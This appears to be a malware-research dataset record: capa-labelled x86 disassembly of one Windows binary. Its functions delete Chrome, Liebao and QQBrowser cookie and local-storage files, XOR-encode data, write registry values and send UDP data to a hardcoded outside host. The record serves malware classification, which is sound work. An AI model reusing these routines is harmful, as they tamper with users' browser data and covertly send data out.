joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403560
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
sub esp, 0x208
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [esp + 0x114]
push 0x1c
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x403728
lea edi, [esp + 0x110]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4036f8
lea eax, [esp + ecx + 0x10f]
mov cl, byte [esp + ecx + 0x10f]
cmp cl, 0x5c
jne 0x4035e2
mov byte [eax], 0
mov edi, str.GoogleChromeUser_DataDefault
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x110]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x218]
mov ecx, ebx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
je 0x403704
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x110]
push ebp
push eax
lea ecx, [esp + 0x14]
push str._sCookies
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 0xc
lea edx, [esp + 0x10]
push 0
push edx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40367b
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x171
call ebx
push eax
call fcn.004048b0
add esp, 0xc
lea ecx, [esp + 0x114]
lea edx, [esp + 0x10]
push ecx
push str._sCookies_journal
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
pop ebp
jne 0x4036bc
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x177
call ebx
push eax
call fcn.004048b0
add esp, 0xc
lea edx, [esp + 0x110]
lea eax, [esp + 0xc]
push edx
push str._sLocal_Storage
push eax
call esi
lea ecx, [esp + 0x18]
push 0
push ecx
call fcn.00402d70
mov esi, eax
add esp, 0x14
test esi, esi
je 0x4036f8
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x17d
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x208
ret
lea edx, [esp + 0x110]
push 0
push edx
call fcn.00402d70
mov esi, eax
add esp, 8
test esi, esi
je 0x4036f8
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x185
jmp 0x4036ef
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x162
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0x208
ret
Function at 0x403ce0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x214]
xor esi, esi
test eax, eax
jne 0x403e21
push esi
lea eax, [esp + 0xc]
push 0x1a
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x403e4f
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403e16
lea eax, [esp + ecx + 7]
mov cl, byte [esp + ecx + 7]
cmp cl, 0x5c
jne 0x403d64
mov byte [eax], 0
mov edi, str.TencentQQBrowser
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x114]
push str._sDB
push ecx
call esi
lea edx, [esp + 0x11c]
push 0
push edx
call fcn.00402d70
add esp, 0x14
test eax, eax
pop ebp
je 0x403dd7
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x245
push eax
call fcn.004048b0
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push str._sScope
push ecx
call esi
lea edx, [esp + 0x118]
push 0
push edx
call fcn.00402d70
mov esi, eax
add esp, 0x14
test esi, esi
je 0x403e16
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x24b
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
add esp, 0x208
ret
push 1
call fcn.00402c20
mov esi, eax
add esp, 4
test esi, esi
je 0x403e16
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x231
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
add esp, 0x208
ret
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x237
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
add esp, 0x208
ret
Function at 0x4040f0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x110]
xor esi, esi
test eax, eax
jne 0x4041b8
lea eax, [esp + 8]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4041e6
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4041ad
lea eax, [esp + ecx + 7]
mov cl, byte [esp + ecx + 7]
cmp cl, 0x5c
jne 0x404156
mov byte [eax], 0
mov edi, str.Maxthon3CacheTempWebkitCache
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00402d70
add esp, 8
mov esi, eax
test esi, esi
pop ebx
je 0x4041ad
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2b4
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret
push 1
call fcn.00402c20
mov esi, eax
add esp, 4
test esi, esi
je 0x4041ad
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2a1
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
add esp, 0x104
ret
Function at 0x404210
Capabilities:
Delete file
Set file attributes

Disassembly:
sub esp, 0x20c
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
lea ecx, [esp + 0x118]
push eax
push ecx
push str.ApplicationIcon
push str.SOFTWAREClientsStartMenuInternet_f1browser.exeCapabilities
push connect
mov dword [esp + 0x24], 0x104
call fcn.00405920
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x4043e5
lea edx, [esp + 0x114]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 8
test eax, eax
je 0x4043f1
mov byte [eax], 0
mov edi, str.User_DataDefault
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x114]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x21c]
mov ecx, ebx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
je 0x4043c1
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x114]
push ebp
push eax
lea ecx, [esp + 0x18]
push str._sCookies
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 0xc
lea edx, [esp + 0x14]
push 0
push edx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x14]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x404338
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2d8
call ebx
push eax
call fcn.004048b0
add esp, 0xc
lea ecx, [esp + 0x118]
lea edx, [esp + 0x14]
push ecx
push str._sCookies_journal
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x14]
push 0
push eax
call edi
lea ecx, [esp + 0x14]
push ecx
call ebp
test eax, eax
pop ebp
jne 0x404379
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2de
call ebx
push eax
call fcn.004048b0
add esp, 0xc
lea edx, [esp + 0x114]
lea eax, [esp + 0x10]
push edx
push str._sLocal_Storage
push eax
call esi
lea ecx, [esp + 0x1c]
push 0
push ecx
call fcn.00402d70
mov esi, eax
add esp, 0x14
test esi, esi
je 0x4043b5
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2e4
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
lea edx, [esp + 0x114]
push 0
push edx
call fcn.00402d70
mov esi, eax
add esp, 8
test esi, esi
je 0x4043b5
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2ec
jmp 0x4043ac
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2c9
jmp 0x4043ac
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x2ce
push 2
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
Function at 0x4046b0
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
sub esp, 0x208
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [esp + 0x114]
push 0x1c
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x404878
lea edi, [esp + 0x110]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x404848
lea eax, [esp + ecx + 0x10f]
mov cl, byte [esp + ecx + 0x10f]
cmp cl, 0x5c
jne 0x404732
mov byte [eax], 0
mov edi, str.liebaoUser_DataDefault
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x110]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x218]
mov ecx, ebx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
je 0x404854
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x110]
push ebp
push eax
lea ecx, [esp + 0x14]
push str._sCookies
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 0xc
lea edx, [esp + 0x10]
push 0
push edx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4047cb
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x355
call ebx
push eax
call fcn.004048b0
add esp, 0xc
lea ecx, [esp + 0x114]
lea edx, [esp + 0x10]
push ecx
push str._sCookies_journal
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
pop ebp
jne 0x40480c
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x35b
call ebx
push eax
call fcn.004048b0
add esp, 0xc
lea edx, [esp + 0x110]
lea eax, [esp + 0xc]
push edx
push str._sLocal_Storage
push eax
call esi
lea ecx, [esp + 0x18]
push 0
push ecx
call fcn.00402d70
mov esi, eax
add esp, 0x14
test esi, esi
je 0x404848
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x361
push esi
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x208
ret
lea edx, [esp + 0x110]
push 0
push edx
call fcn.00402d70
mov esi, eax
add esp, 8
test esi, esi
je 0x404848
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x369
jmp 0x40483f
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x346
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0x208
ret
Function at 0x404a00
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
test eax, eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
je 0x404a93
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x404a93
mov edi, dword [esp + 0x28]
test edi, edi
je 0x404a93
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0xc]
push ecx
push 1
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x404a7b
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push edi
push ecx
push esi
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
test esi, esi
jne 0x404a7b
cmp dword [esp + 0x10], 4
je 0x404a7b
mov esi, 0x3f2
mov eax, dword [esp + 0xc]
test eax, eax
je 0x404a8a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0xc
ret
pop edi
pop esi
mov eax, 0x57
pop ebx
add esp, 0xc
ret

Function at 0x404aa0
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x10], 0
test edi, edi
je 0x404b0c
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x404b0c
mov ebx, dword [esp + 0x18]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
je 0x404af3
cmp esi, 2
jne 0x404aef
lea ecx, [esp + 0x10]
push ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
test esi, esi
jne 0x404b22
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x24]
push 4
push edx
push 4
push 0
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x404b20
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0xb2
push 0x57
call fcn.004048b0
add esp, 0xc
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404b31
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x404b40
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
test ebx, ebx
push edi
mov dword [esp + 0x10], 0
je 0x404bb7
mov eax, dword [esp + 0x20]
test eax, eax
je 0x404bb7
mov ebp, dword [esp + 0x24]
test ebp, ebp
je 0x404bb7
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
je 0x404b9b
cmp esi, 2
jne 0x404b97
lea ecx, [esp + 0x10]
push ecx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
test esi, esi
jne 0x404bcd
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
push edx
push ebp
push 3
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x404bcb
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0xee
push 0x57
call fcn.004048b0
add esp, 0xc
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404bdc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x405030
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
xor ebp, ebp
cmp esi, ebp
mov dword [esp + 0xc], ebp
je 0x405101
mov ebx, dword [esp + 0x18]
cmp ebx, ebp
je 0x405101
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebp
push 0x80
push 2
push ebp
push ebp
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4050ab
push edi
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x10]
push ebp
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4050c9
cmp dword [esp + 0x10], edi
jne 0x4050f3
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x1cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x1d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
mov ebp, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x1d4
push 0x1d
jmp 0x4050da
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x1c6
push 0x57
call fcn.004048b0
add esp, 0xc
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x405180
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0xc]
cmp edi, 4
jb 0x4051be
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, 4
mov ecx, 0x4d2c9b51
sub esi, eax
mov ebx, dword [eax]
xor edx, ecx
xor ebx, edx
add ecx, 0x1d95dc
mov dword [eax], ebx
add eax, 4
lea ebx, [esi + eax]
cmp ebx, edi
jbe 0x4051a0
pop esi
pop ebx
xor eax, eax
pop edi
ret
xor eax, eax
pop edi
ret

Function at 0x405280
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
xor esi, esi
push edi
cmp ebx, esi
mov dword [esp + 0x10], esi
je 0x4052f3
mov edi, dword [esp + 0x20]
cmp edi, esi
je 0x4052f3
mov ebp, dword [esp + 0x18]
mov eax, edi
push 0
sub eax, esi
lea ecx, [esi + ebx]
push eax
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4052d2
add esi, eax
cmp esi, edi
jae 0x405307
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0xa
mov dword [esp + 0x10], eax
jb 0x40529f
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x22f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x228
push 0x57
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x405310
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword [esp + 0x10], esi
je 0x40538e
mov edi, dword [esp + 0x24]
cmp edi, esi
je 0x40538e
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
mov eax, edi
push 0x10
push ebx
sub eax, esi
push 0
lea edx, [esi + ecx]
push eax
push edx
push ebp
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40536d
add esi, eax
cmp esi, edi
jae 0x4053a2
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0xa
mov dword [esp + 0x10], eax
jb 0x405333
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x24e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x247
push 0x57
call fcn.004048b0
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x405660
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1a0
lea eax, [esp + 0x10]
push ebx
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test ebx, ebx
jne 0x4056fc
push edi
push eax
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x405730
push str.s.hxtec.com.cn
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405743
mov ecx, dword [eax + 0xc]
push esi
push 0x13b9
mov edx, dword [ecx]
mov esi, dword [edx]
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x1b8]
mov word [esp + 0xe], ax
mov eax, dword [esp + 0x1b4]
push esi
lea ecx, [esp + 0x10]
push eax
push ecx
push edi
call fcn.00405310
mov ecx, dword [esp + 0x1cc]
add esp, 0x10
test ecx, ecx
je 0x4056f5
mov dword [ecx], eax
cmp eax, esi
pop esi
jne 0x405756
jmp 0x40576c
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2f6
push ebx
call fcn.004048b0
add esp, 0xc
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2f7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop ebx
add esp, 0x1a0
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2ff
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x405762
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x304
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x405762
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x313
push 0x58
call fcn.004048b0
add esp, 0xc
mov ebx, eax
cmp edi, 0xffffffff
je 0x405778
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
pop edi
pop ebx
add esp, 0x1a0
ret

Function at 0x405790
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
test ebx, ebx
push edi
mov dword [esp + 0x10], 0
je 0x40580e
mov eax, dword [esp + 0x20]
test eax, eax
je 0x40580e
mov ebp, dword [esp + 0x24]
test ebp, ebp
je 0x40580e
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
je 0x4057eb
cmp esi, 2
jne 0x4057e7
lea ecx, [esp + 0x10]
push ecx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
test esi, esi
jne 0x405824
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebp
push 1
push eax
mov eax, dword [esp + 0x20]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x405822
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x32b
push 0x57
call fcn.004048b0
add esp, 0xc
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405833
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret